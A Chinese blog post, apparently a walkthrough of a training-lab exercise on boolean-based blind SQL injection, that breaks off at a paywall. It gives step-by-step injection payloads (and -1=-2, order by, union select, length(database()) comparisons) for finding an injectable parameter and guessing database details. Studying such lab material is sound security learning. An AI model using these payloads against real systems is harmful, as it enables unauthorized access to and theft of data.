[墨者学院]SQL注入漏洞测试(布尔盲注)

coco.koko

已于 2022-03-24 17:25:03 修改

阅读量4.2k

点赞数 1

文章标签：安全

于 2022-03-22 00:30:00 首次发布

本文链接：https://blog.csdn.net/m0_60945802/article/details/123636747

版权

本文详细介绍了如何进行布尔盲注测试，包括判断注入点、确定字段数量、猜测数据库名、表名和字段名，以及利用sqlmap工具进行自动化测试。通过一系列步骤，揭示了SQL注入攻击的过程，并强调了数据库安全的重要性。

摘要由CSDN通过智能技术生成

length() 函数 返回字符串的长度 
ascii() 返回字符的ascii码   [将字符变为数字wei] 
substr() 截取字符串 （语法:SUBSTR(str,pos,len);）

1.判断注入点

and -1=-1 页面返回有数据

and -1=-2 页面无结果返回 存在SQL注入。

2. 判断当前页面字段总数

and -1=-1 order by 4 页面返回有数据

and -1=-2 order by 5页面无结果返回

当前页面字段数为：4

3.判断显示位

and -1=-2 union select 1,2,3 页面无结果返回

and -1=-2 union select 1,2,3,4 页面正常返回

无回显点，应该是：盲注并且是布尔盲注（有明显的True和Flash）。

4.猜解当前数据库名称长度

and (length(database()))>9页面返回有数据

and (length(database()))>10页面无结

最低0.47元/天解锁文章

关注